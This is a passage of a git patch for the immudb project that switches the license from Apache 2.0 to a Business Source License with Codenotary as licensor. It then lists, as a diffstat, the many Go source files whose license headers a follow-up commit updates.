sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. +License text copyright (c) 2020 MariaDB Corporation Ab, All Rights Reserved. +"Business Source License" is a trademark of MariaDB Corporation Ab. + +Parameters + +Licensor: Codenotary, Inc. +Licensed Work: immudb Version 1.9DOM.2 or later. The Licensed Work is (c) 2024 + Codenotary, Inc. +Additional Use Grant: You may make production use of the Licensed Work, provided + Your use does not include offering the Licensed Work to third + parties on a hosted or embedded basis in order to compete with + Codenotary's paid version(s) of the Licensed Work. For purposes + of this license: + + A "competitive offering" is a Product that is offered to third + parties on a paid basis, including through paid support + arrangements, that significantly overlaps with the capabilities + of Codenotary's paid version(s) of the Licensed Work. If Your + Product is not a competitive offering when You first make it + generally available, it will not become a competitive offering + later due to Codenotary releasing a new version of the Licensed + Work with additional capabilities. In addition, Products that + are not provided on a paid basis are not competitive. + + "Product" means software that is offered to end users to manage + in their own environments or offered as a service on a hosted + basis. + + "Embedded" means including the source code or executable code + from the Licensed Work in a competitive offering. "Embedded" + also means packaging the competitive offering in such a way + that the Licensed Work must be accessed or downloaded for the + competitive offering to operate. + + Hosting or using the Licensed Work(s) for internal purposes + within an organization is not considered a competitive + offering. Codenotary considers your organization to include all + of your affiliates under common control. + +Change Date: Four years from the date the Licensed Work is published. +Change License: Apache 2.0 + +For information about alternative licensing arrangements for the Licensed Work, +please contact info@codenotary.com. + +Notice + +Business Source License 1.1 + +Terms + +The Licensor hereby grants you the right to copy, modify, create derivative +works, redistribute, and make non-production use of the Licensed Work. The +Licensor may make an Additional Use Grant, above, permitting limited production use. + +Effective on the Change Date, or the fourth anniversary of the first publicly +available distribution of a specific version of the Licensed Work under this +License, whichever comes first, the Licensor hereby grants you rights under +the terms of the Change License, and the rights granted in the paragraph +above terminate. + +If your use of the Licensed Work does not comply with the requirements +currently in effect as described in this License, you must purchase a +commercial license from the Licensor, its affiliated entities, or authorized +resellers, or you must refrain from using the Licensed Work. + +All copies of the original and modified Licensed Work, and derivative works +of the Licensed Work, are subject to this License. This License applies +separately for each version of the Licensed Work and the Change Date may vary +for each version of the Licensed Work released by Licensor. + +You must conspicuously display this License on each original or modified copy +of the Licensed Work. If you receive the Licensed Work in original or +modified form from a third party, the terms and conditions set forth in this +License apply to your use of that work. + +Any use of the Licensed Work in violation of this License will automatically +terminate your rights under this License for the current and all other +versions of the Licensed Work. + +This License does not grant you any right in any trademark or logo of +Licensor or its affiliates (provided that you may use a trademark or logo of +Licensor as expressly required by this License). + +TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON +AN "AS IS" BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS, +EXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND +TITLE. \ No newline at end of file From 9e2614148fe071409a63b4f45db290e0c1875889 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 19 Dec 2023 17:50:54 +0100 Subject: [PATCH 0961/1062] license update inside files --- cmd/cmdtest/random.go | 6 +++--- cmd/cmdtest/stdout_collector.go | 6 +++--- cmd/docs/man/generate.go | 6 +++--- cmd/docs/man/generate_test.go | 6 +++--- cmd/helper/color_unix.go | 6 +++--- cmd/helper/color_unix_test.go | 6 +++--- cmd/helper/color_windows.go | 6 +++--- cmd/helper/config.go | 6 +++--- cmd/helper/config_pathmanager_unix.go | 6 +++--- cmd/helper/config_pathmanager_windows.go | 6 +++--- cmd/helper/config_test.go | 6 +++--- cmd/helper/detached.go | 6 +++--- cmd/helper/detached_test.go | 6 +++--- cmd/helper/error.go | 6 +++--- cmd/helper/table_printer.go | 6 +++--- cmd/helper/table_printer_test.go | 6 +++--- cmd/helper/terminal_test.go | 6 +++--- cmd/immuadmin/command/backup.go | 6 +++--- cmd/immuadmin/command/backup_test.go | 6 +++--- cmd/immuadmin/command/cmd.go | 6 +++--- cmd/immuadmin/command/cmd_test.go | 6 +++--- cmd/immuadmin/command/commandline.go | 6 +++--- cmd/immuadmin/command/commandline_test.go | 6 +++--- cmd/immuadmin/command/database.go | 6 +++--- cmd/immuadmin/command/hot_backup.go | 6 +++--- cmd/immuadmin/command/hot_backup_test.go | 6 +++--- cmd/immuadmin/command/init.go | 8 +++++--- cmd/immuadmin/command/init_test.go | 6 +++--- cmd/immuadmin/command/login.go | 6 +++--- cmd/immuadmin/command/login_errors_test.go | 6 +++--- cmd/immuadmin/command/login_test.go | 6 +++--- cmd/immuadmin/command/root.go | 6 +++--- cmd/immuadmin/command/serverconfig.go | 6 +++--- cmd/immuadmin/command/serverconfig_test.go | 6 +++--- cmd/immuadmin/command/stats.go | 6 +++--- cmd/immuadmin/command/stats/controller.go | 6 +++--- cmd/immuadmin/command/stats/controller_test.go | 6 +++--- cmd/immuadmin/command/stats/metrics.go | 6 +++--- cmd/immuadmin/command/stats/metricsloader.go | 6 +++--- cmd/immuadmin/command/stats/show.go | 6 +++--- cmd/immuadmin/command/stats/show_test.go | 6 +++--- cmd/immuadmin/command/stats/statstest/statsResponse.go | 6 +++--- cmd/immuadmin/command/stats/ui.go | 6 +++--- cmd/immuadmin/command/stats/ui_test.go | 6 +++--- cmd/immuadmin/command/stats_test.go | 6 +++--- cmd/immuadmin/command/user.go | 6 +++--- cmd/immuadmin/command/user_test.go | 6 +++--- cmd/immuadmin/fips/fips.go | 6 +++--- cmd/immuadmin/immuadmin.go | 6 +++--- cmd/immuclient/audit/auditagent.go | 6 +++--- cmd/immuclient/audit/auditagent_test.go | 6 +++--- cmd/immuclient/audit/auditor.go | 6 +++--- cmd/immuclient/audit/auditor_test.go | 6 +++--- cmd/immuclient/audit/executable.go | 6 +++--- cmd/immuclient/audit/executable_test.go | 6 +++--- cmd/immuclient/audit/init.go | 6 +++--- cmd/immuclient/audit/init_test.go | 6 +++--- cmd/immuclient/audit/metrics.go | 6 +++--- cmd/immuclient/audit/metrics_test.go | 6 +++--- cmd/immuclient/audit/utils.go | 6 +++--- cmd/immuclient/audit/utils_test.go | 6 +++--- cmd/immuclient/cli/cli.go | 6 +++--- cmd/immuclient/cli/cli_test.go | 6 +++--- cmd/immuclient/cli/currentstatus.go | 6 +++--- cmd/immuclient/cli/currentstatus_test.go | 6 +++--- cmd/immuclient/cli/getcommands.go | 6 +++--- cmd/immuclient/cli/getcommands_test.go | 6 +++--- cmd/immuclient/cli/login.go | 6 +++--- cmd/immuclient/cli/login_test.go | 6 +++--- cmd/immuclient/cli/misc.go | 6 +++--- cmd/immuclient/cli/misc_test.go | 6 +++--- cmd/immuclient/cli/recommend.go | 6 +++--- cmd/immuclient/cli/recommend_test.go | 6 +++--- cmd/immuclient/cli/references.go | 6 +++--- cmd/immuclient/cli/references_test.go | 6 +++--- cmd/immuclient/cli/register.go | 6 +++--- cmd/immuclient/cli/register_test.go | 6 +++--- cmd/immuclient/cli/scanners.go | 6 +++--- cmd/immuclient/cli/scanners_test.go | 6 +++--- cmd/immuclient/cli/server_info.go | 6 +++--- cmd/immuclient/cli/setcommands.go | 6 +++--- cmd/immuclient/cli/setcommands_test.go | 6 +++--- cmd/immuclient/cli/sql.go | 6 +++--- cmd/immuclient/cli/sql_test.go | 6 +++--- cmd/immuclient/cli/unixcmds.go | 6 +++--- cmd/immuclient/cli/unixcmds_test.go | 6 +++--- cmd/immuclient/command/cmd.go | 6 +++--- cmd/immuclient/command/cmd_test.go | 6 +++--- cmd/immuclient/command/commandline_test.go | 6 +++--- cmd/immuclient/command/currentstatus.go | 6 +++--- cmd/immuclient/command/currentstatus_test.go | 6 +++--- cmd/immuclient/command/getcommands.go | 6 +++--- cmd/immuclient/command/getcommands_test.go | 6 +++--- cmd/immuclient/command/init.go | 6 +++--- cmd/immuclient/command/init_test.go | 6 +++--- cmd/immuclient/command/login.go | 6 +++--- cmd/immuclient/command/login_test.go | 6 +++--- cmd/immuclient/command/misc.go | 6 +++--- cmd/immuclient/command/misc_test.go | 6 +++--- cmd/immuclient/command/references.go | 6 +++--- cmd/immuclient/command/references_test.go | 6 +++--- cmd/immuclient/command/root.go | 6 +++--- cmd/immuclient/command/scanners.go | 6 +++--- cmd/immuclient/command/scanners_test.go | 6 +++--- cmd/immuclient/command/server_info_test.go | 6 +++--- cmd/immuclient/command/setcommands.go | 6 +++--- cmd/immuclient/command/setcommands_test.go | 6 +++--- cmd/immuclient/command/sql.go | 6 +++--- cmd/immuclient/command/tamperproofing.go | 6 +++--- cmd/immuclient/command/tamperproofing_test.go | 6 +++--- cmd/immuclient/fips/fips.go | 6 +++--- cmd/immuclient/immuc/currentstatus.go | 6 +++--- cmd/immuclient/immuc/currentstatus_errors_test.go | 6 +++--- cmd/immuclient/immuc/currentstatus_test.go | 6 +++--- cmd/immuclient/immuc/getcommands.go | 6 +++--- cmd/immuclient/immuc/getcommands_errors_test.go | 6 +++--- cmd/immuclient/immuc/getcommands_test.go | 6 +++--- cmd/immuclient/immuc/history.go | 6 +++--- cmd/immuclient/immuc/history_test.go | 6 +++--- cmd/immuclient/immuc/init.go | 6 +++--- cmd/immuclient/immuc/init_errors_test.go | 6 +++--- cmd/immuclient/immuc/init_test.go | 6 +++--- cmd/immuclient/immuc/login.go | 6 +++--- cmd/immuclient/immuc/login_errors_test.go | 6 +++--- cmd/immuclient/immuc/login_test.go | 6 +++--- cmd/immuclient/immuc/misc.go | 6 +++--- cmd/immuclient/immuc/misc_errors_test.go | 6 +++--- cmd/immuclient/immuc/misc_test.go | 6 +++--- cmd/immuclient/immuc/options.go | 6 +++--- cmd/immuclient/immuc/options_test.go | 6 +++--- cmd/immuclient/immuc/print.go | 6 +++--- cmd/immuclient/immuc/references.go | 6 +++--- cmd/immuclient/immuc/references_errors_test.go | 6 +++--- cmd/immuclient/immuc/references_test.go | 6 +++--- cmd/immuclient/immuc/scanners.go | 6 +++--- cmd/immuclient/immuc/scanners_errors_test.go | 6 +++--- cmd/immuclient/immuc/scanners_test.go | 6 +++--- cmd/immuclient/immuc/setcommands.go | 6 +++--- cmd/immuclient/immuc/setcommands_errors_test.go | 6 +++--- cmd/immuclient/immuc/setcommands_test.go | 6 +++--- cmd/immuclient/immuc/sql.go | 6 +++--- cmd/immuclient/immuclient.go | 6 +++--- cmd/immuclient/immuclienttest/helper.go | 6 +++--- .../service/configs/immuclient.toml.freebsd.dist.go | 6 +++--- .../service/configs/immuclient.toml.linux.dist.go | 6 +++--- .../service/configs/immuclient.toml.windows.dist.go | 6 +++--- cmd/immuclient/service/constants/freebsd.dist.go | 6 +++--- cmd/immuclient/service/constants/linux.dist.go | 6 +++--- cmd/immuclient/service/constants/windows.dist.go | 6 +++--- cmd/immudb/command/cmd.go | 6 +++--- cmd/immudb/command/cmd_test.go | 6 +++--- cmd/immudb/command/commandline.go | 6 +++--- cmd/immudb/command/commandline_test.go | 6 +++--- cmd/immudb/command/immudbcmdtest/immuServerMock.go | 6 +++--- cmd/immudb/command/immudbcmdtest/immuServerMock_test.go | 6 +++--- cmd/immudb/command/immudbcmdtest/manpageservice.go | 6 +++--- cmd/immudb/command/init.go | 6 +++--- cmd/immudb/command/parse_options.go | 6 +++--- cmd/immudb/command/root.go | 6 +++--- cmd/immudb/command/root_test.go | 6 +++--- cmd/immudb/command/service/commandline.go | 6 +++--- cmd/immudb/command/service/commandline_test.go | 6 +++--- .../command/service/config/immudb.toml.freebsd.dist.go | 6 +++--- .../command/service/config/immudb.toml.linux.dist.go | 6 +++--- .../command/service/config/immudb.toml.windows.dist.go | 6 +++--- cmd/immudb/command/service/constant.go | 6 +++--- cmd/immudb/command/service/constants/freebsd.dist.go | 6 +++--- cmd/immudb/command/service/constants/linux.dist.go | 6 +++--- cmd/immudb/command/service/constants/windows.dist.go | 6 +++--- cmd/immudb/command/service/service.go | 6 +++--- cmd/immudb/command/service/service_test.go | 6 +++--- cmd/immudb/command/service/servicetest/configservice.go | 6 +++--- cmd/immudb/command/service/servicetest/daemon.go | 6 +++--- cmd/immudb/command/service/servicetest/server.go | 6 +++--- cmd/immudb/command/service/servicetest/sservice.go | 6 +++--- cmd/immudb/command/tls_config.go | 6 +++--- cmd/immudb/command/tls_config_test.go | 6 +++--- cmd/immudb/fips/fips.go | 6 +++--- cmd/immudb/immudb.go | 6 +++--- cmd/immutest/command/cmd.go | 6 +++--- cmd/immutest/command/cmd_test.go | 6 +++--- cmd/immutest/command/init.go | 6 +++--- cmd/immutest/immutest.go | 6 +++--- cmd/immutest/immutest_test.go | 6 +++--- cmd/sservice/constant.go | 6 +++--- cmd/sservice/manpageservice.go | 6 +++--- cmd/sservice/manpageservice_test.go | 6 +++--- cmd/sservice/option.go | 6 +++--- cmd/sservice/option_test.go | 6 +++--- cmd/sservice/sservice.go | 6 +++--- cmd/sservice/sservice_freebsd.go | 6 +++--- cmd/sservice/sservice_unix.go | 6 +++--- cmd/sservice/sservice_unix_test.go | 6 +++--- cmd/sservice/sservice_windows.go | 6 +++--- cmd/sservice/sservice_windows_test.go | 6 +++--- cmd/version/cmd.go | 6 +++--- cmd/version/cmd_test.go | 6 +++--- .../data_generation/state_values_generation_test.go | 6 +++--- .../vulnerabilities/linear-fake/server/go_client_test.go | 6 +++--- docs/security/vulnerabilities/linear-fake/server/main.go | 6 +++--- .../vulnerabilities/linear-fake/server/server.go | 6 +++--- embedded/ahtree/ahtree.go | 6 +++--- embedded/ahtree/ahtree_test.go | 6 +++--- embedded/ahtree/options.go | 6 +++--- embedded/ahtree/options_test.go | 6 +++--- embedded/ahtree/verification.go | 6 +++--- embedded/ahtree/verification_test.go | 6 +++--- embedded/appendable/appendable.go | 6 +++--- embedded/appendable/fileutils/fileutils.go | 6 +++--- embedded/appendable/fileutils/fileutils_darwin.go | 6 +++--- embedded/appendable/fileutils/fileutils_freebsd.go | 7 +++---- embedded/appendable/fileutils/fileutils_linux.go | 7 +++---- embedded/appendable/fileutils/fileutils_unix_nonlinux.go | 6 +++--- embedded/appendable/fileutils/fileutils_windows.go | 6 +++--- embedded/appendable/metadata.go | 6 +++--- embedded/appendable/metadata_test.go | 6 +++--- embedded/appendable/mocked/mocked.go | 6 +++--- embedded/appendable/mocked/mocked_test.go | 6 +++--- embedded/appendable/multiapp/appendable_lru_cache.go | 6 +++--- .../appendable/multiapp/appendable_lru_cache_test.go | 6 +++--- embedded/appendable/multiapp/metrics.go | 6 +++--- embedded/appendable/multiapp/multi_app.go | 6 +++--- embedded/appendable/multiapp/multi_app_test.go | 6 +++--- embedded/appendable/multiapp/options.go | 6 +++--- embedded/appendable/multiapp/options_test.go | 6 +++--- embedded/appendable/reader.go | 6 +++--- embedded/appendable/reader_test.go | 6 +++--- embedded/appendable/remoteapp/chunk_state.go | 6 +++--- embedded/appendable/remoteapp/chunk_state_test.go | 6 +++--- embedded/appendable/remoteapp/chunked_process.go | 6 +++--- embedded/appendable/remoteapp/chunked_process_test.go | 6 +++--- embedded/appendable/remoteapp/errors.go | 6 +++--- embedded/appendable/remoteapp/metrics.go | 6 +++--- embedded/appendable/remoteapp/options.go | 6 +++--- embedded/appendable/remoteapp/options_test.go | 6 +++--- embedded/appendable/remoteapp/remote_app.go | 6 +++--- embedded/appendable/remoteapp/remote_app_test.go | 6 +++--- embedded/appendable/singleapp/options.go | 6 +++--- embedded/appendable/singleapp/options_test.go | 6 +++--- embedded/appendable/singleapp/single_app.go | 6 +++--- embedded/appendable/singleapp/single_app_test.go | 6 +++--- embedded/cache/lru_cache.go | 6 +++--- embedded/cache/lru_cache_test.go | 6 +++--- embedded/document/document_id.go | 6 +++--- embedded/document/document_id_test.go | 6 +++--- embedded/document/document_reader.go | 6 +++--- embedded/document/engine.go | 6 +++--- embedded/document/engine_test.go | 6 +++--- embedded/document/errors.go | 6 +++--- embedded/document/errors_test.go | 6 +++--- embedded/document/options.go | 6 +++--- embedded/document/options_test.go | 6 +++--- embedded/document/type_conversions.go | 6 +++--- embedded/document/type_conversions_test.go | 6 +++--- embedded/errors.go | 6 +++--- embedded/htree/htree.go | 6 +++--- embedded/htree/htree_test.go | 6 +++--- embedded/logger/file.go | 6 +++--- embedded/logger/file_test.go | 6 +++--- embedded/logger/json.go | 6 +++--- embedded/logger/json_test.go | 6 +++--- embedded/logger/logger.go | 6 +++--- embedded/logger/logger_test.go | 6 +++--- embedded/logger/memory.go | 6 +++--- embedded/logger/memory_test.go | 6 +++--- embedded/logger/simple.go | 6 +++--- embedded/logger/simple_test.go | 6 +++--- embedded/multierr/multierr.go | 6 +++--- embedded/multierr/multierr_test.go | 6 +++--- embedded/remotestorage/memory/memory.go | 6 +++--- embedded/remotestorage/memory/memory_test.go | 6 +++--- embedded/remotestorage/remote_storage.go | 6 +++--- embedded/remotestorage/s3/metrics.go | 6 +++--- embedded/remotestorage/s3/s3.go | 6 +++--- embedded/remotestorage/s3/s3_test.go | 6 +++--- embedded/remotestorage/s3/s3_with_minio_test.go | 6 +++--- embedded/sql/aggregated_values.go | 6 +++--- embedded/sql/aggregated_values_test.go | 6 +++--- embedded/sql/catalog.go | 6 +++--- embedded/sql/catalog_test.go | 6 +++--- embedded/sql/cond_row_reader.go | 6 +++--- embedded/sql/cond_row_reader_test.go | 6 +++--- embedded/sql/distinct_row_reader.go | 6 +++--- embedded/sql/distinct_row_reader_test.go | 6 +++--- embedded/sql/dummy_data_source_test.go | 6 +++--- embedded/sql/dummy_row_reader_test.go | 6 +++--- embedded/sql/engine.go | 6 +++--- embedded/sql/engine_test.go | 6 +++--- embedded/sql/grouped_row_reader.go | 6 +++--- embedded/sql/grouped_row_reader_test.go | 6 +++--- embedded/sql/implicit_conversion.go | 6 +++--- embedded/sql/implicit_conversion_test.go | 6 +++--- embedded/sql/joint_row_reader.go | 6 +++--- embedded/sql/joint_row_reader_test.go | 6 +++--- embedded/sql/limit_row_reader.go | 6 +++--- embedded/sql/limit_row_reader_test.go | 6 +++--- embedded/sql/num_operator.go | 6 +++--- embedded/sql/num_operator_test.go | 6 +++--- embedded/sql/offset_row_reader.go | 6 +++--- embedded/sql/offset_row_reader_test.go | 6 +++--- embedded/sql/options.go | 6 +++--- embedded/sql/options_test.go | 6 +++--- embedded/sql/parser.go | 6 +++--- embedded/sql/parser_test.go | 6 +++--- embedded/sql/proj_row_reader.go | 6 +++--- embedded/sql/row_reader.go | 6 +++--- embedded/sql/row_reader_test.go | 6 +++--- embedded/sql/sql_tx.go | 6 +++--- embedded/sql/sql_tx_options.go | 6 +++--- embedded/sql/stmt.go | 6 +++--- embedded/sql/stmt_test.go | 6 +++--- embedded/sql/timestamp.go | 6 +++--- embedded/sql/timestamp_test.go | 6 +++--- embedded/sql/type_conversion.go | 6 +++--- embedded/sql/union_row_reader.go | 6 +++--- embedded/sql/union_row_reader_test.go | 6 +++--- embedded/sql/values_row_reader.go | 6 +++--- embedded/sql/values_row_reader_test.go | 6 +++--- embedded/store/immustore.go | 6 +++--- embedded/store/immustore_test.go | 6 +++--- embedded/store/indexer.go | 6 +++--- embedded/store/indexer_test.go | 6 +++--- embedded/store/key_reader.go | 6 +++--- embedded/store/key_reader_test.go | 6 +++--- embedded/store/kv_metadata.go | 6 +++--- embedded/store/kv_metadata_test.go | 6 +++--- embedded/store/metadata.go | 6 +++--- embedded/store/ongoing_tx.go | 6 +++--- embedded/store/ongoing_tx_keyreader.go | 6 +++--- embedded/store/ongoing_tx_options.go | 6 +++--- embedded/store/ongoing_tx_test.go | 6 +++--- embedded/store/options.go | 6 +++--- embedded/store/options_test.go | 6 +++--- embedded/store/precommit_buffer.go | 6 +++--- embedded/store/precommit_buffer_test.go | 6 +++--- embedded/store/preconditions.go | 6 +++--- embedded/store/tx.go | 6 +++--- embedded/store/tx_metadata.go | 6 +++--- embedded/store/tx_metadata_test.go | 9 ++++++--- embedded/store/tx_reader.go | 6 +++--- embedded/store/tx_reader_test.go | 6 +++--- embedded/store/tx_test.go | 6 +++--- embedded/store/txpool.go | 6 +++--- embedded/store/txpool_test.go | 6 +++--- embedded/store/verification.go | 6 +++--- embedded/store/verification_test.go | 6 +++--- embedded/tbtree/consistency_error_test.go | 6 +++--- embedded/tbtree/history_reader.go | 6 +++--- embedded/tbtree/history_reader_test.go | 6 +++--- embedded/tbtree/metrics.go | 6 +++--- embedded/tbtree/options.go | 6 +++--- embedded/tbtree/options_test.go | 6 +++--- embedded/tbtree/reader.go | 6 +++--- embedded/tbtree/reader_test.go | 6 +++--- embedded/tbtree/snapshot.go | 6 +++--- embedded/tbtree/snapshot_test.go | 6 +++--- embedded/tbtree/tbtree.go | 6 +++--- embedded/tbtree/tbtree_test.go | 6 +++--- embedded/tools/stress_tool/stress_tool.go | 6 +++--- embedded/tools/stress_tool_sql/stress_tool_sql.go | 6 +++--- embedded/watchers/watchers.go | 6 +++--- embedded/watchers/watchers_test.go | 6 +++--- pkg/api/schema/database_protoconv.go | 6 +++--- pkg/api/schema/errors.go | 6 +++--- pkg/api/schema/linear_inclusion_enhancer.go | 6 +++--- pkg/api/schema/ops.go | 6 +++--- pkg/api/schema/ops_test.go | 6 +++--- pkg/api/schema/pattern_test.go | 6 +++--- pkg/api/schema/preconditions.go | 6 +++--- pkg/api/schema/row_value.go | 6 +++--- pkg/api/schema/row_value_test.go | 6 +++--- pkg/api/schema/sql.go | 6 +++--- pkg/api/schema/sql_test.go | 6 +++--- pkg/api/schema/state.go | 6 +++--- pkg/api/schema/unexpected_type.go | 6 +++--- pkg/api/schema/unexpected_type_test.go | 6 +++--- pkg/auth/auth.go | 6 +++--- pkg/auth/clientinterceptors.go | 6 +++--- pkg/auth/clientinterceptors_test.go | 6 +++--- pkg/auth/passwords.go | 6 +++--- pkg/auth/passwords_test.go | 6 +++--- pkg/auth/permissions.go | 6 +++--- pkg/auth/permissions_test.go | 6 +++--- pkg/auth/serverinterceptors.go | 6 +++--- pkg/auth/serverinterceptors_test.go | 6 +++--- pkg/auth/tokenkeys.go | 6 +++--- pkg/auth/tokenkeys_test.go | 6 +++--- pkg/auth/tokens.go | 6 +++--- pkg/auth/tokens_test.go | 6 +++--- pkg/auth/user.go | 6 +++--- pkg/auth/user_test.go | 6 +++--- pkg/client/auditor/auditor.go | 6 +++--- pkg/client/auditor/auditor_test.go | 6 +++--- pkg/client/auditor/monitoring_server.go | 6 +++--- pkg/client/auditor/monitoring_server_test.go | 6 +++--- pkg/client/cache/cache.go | 6 +++--- pkg/client/cache/common.go | 6 +++--- pkg/client/cache/common_test.go | 6 +++--- pkg/client/cache/errors.go | 6 +++--- pkg/client/cache/file_cache.go | 6 +++--- pkg/client/cache/history_file_cache.go | 6 +++--- pkg/client/cache/history_file_cache_test.go | 6 +++--- pkg/client/cache/inmemory_cache.go | 6 +++--- pkg/client/cache/inmemory_cache_test.go | 6 +++--- pkg/client/client.go | 6 +++--- pkg/client/client_test.go | 6 +++--- pkg/client/clienttest/homedir_mock.go | 6 +++--- pkg/client/clienttest/immuServiceClient_mock.go | 6 +++--- pkg/client/clienttest/immuclient_mock.go | 6 +++--- pkg/client/clienttest/immuclient_mock_test.go | 6 +++--- pkg/client/clienttest/password_reader_mock.go | 6 +++--- pkg/client/clienttest/terminal_reader_mock.go | 6 +++--- pkg/client/clienttest/token_service_mock.go | 6 +++--- pkg/client/errors.go | 6 +++--- pkg/client/errors/errors.go | 6 +++--- pkg/client/errors/meta.go | 6 +++--- pkg/client/get_options.go | 6 +++--- pkg/client/get_options_test.go | 6 +++--- pkg/client/heartbeater.go | 6 +++--- pkg/client/homedir/homedir.go | 6 +++--- pkg/client/homedir/homedir_test.go | 6 +++--- pkg/client/illegal_state_handler_interceptor.go | 6 +++--- pkg/client/mtls_options.go | 6 +++--- pkg/client/options.go | 6 +++--- pkg/client/options_test.go | 6 +++--- pkg/client/session_id_injector_interceptor.go | 6 +++--- pkg/client/session_test.go | 6 +++--- pkg/client/signature_verifier_interceptor.go | 6 +++--- pkg/client/sql.go | 6 +++--- pkg/client/sql_test.go | 6 +++--- pkg/client/state/immudb_uuid_provider.go | 6 +++--- pkg/client/state/immudb_uuid_provider_test.go | 6 +++--- pkg/client/state/state_provider.go | 6 +++--- pkg/client/state/state_service.go | 6 +++--- pkg/client/state/state_service_test.go | 6 +++--- pkg/client/stream_replication.go | 6 +++--- pkg/client/stream_test.go | 6 +++--- pkg/client/streams.go | 6 +++--- pkg/client/streams_integration_test.go | 6 +++--- pkg/client/streams_verified_integration_test.go | 6 +++--- pkg/client/streams_zscan_and_history_integration_test.go | 6 +++--- pkg/client/timestamp/default.go | 6 +++--- pkg/client/timestamp/timestamp_test.go | 6 +++--- pkg/client/timestamp/tsgenerator.go | 6 +++--- pkg/client/timestamp_service.go | 6 +++--- pkg/client/timestamp_service_test.go | 6 +++--- pkg/client/token_interceptor.go | 6 +++--- pkg/client/tokenservice/errors.go | 6 +++--- pkg/client/tokenservice/file.go | 6 +++--- pkg/client/tokenservice/inmemory.go | 6 +++--- pkg/client/tokenservice/inmemory_test.go | 6 +++--- pkg/client/tokenservice/token_service.go | 6 +++--- pkg/client/tokenservice/token_service_test.go | 6 +++--- pkg/client/transaction.go | 6 +++--- pkg/client/tx_options.go | 6 +++--- pkg/client/types.go | 6 +++--- pkg/client/types_test.go | 6 +++--- pkg/database/all_ops.go | 6 +++--- pkg/database/all_ops_test.go | 6 +++--- pkg/database/database.go | 6 +++--- pkg/database/database_test.go | 6 +++--- pkg/database/dboptions.go | 6 +++--- pkg/database/dboptions_test.go | 9 ++++++--- pkg/database/document_database.go | 6 +++--- pkg/database/document_database_test.go | 6 +++--- pkg/database/errors.go | 6 +++--- 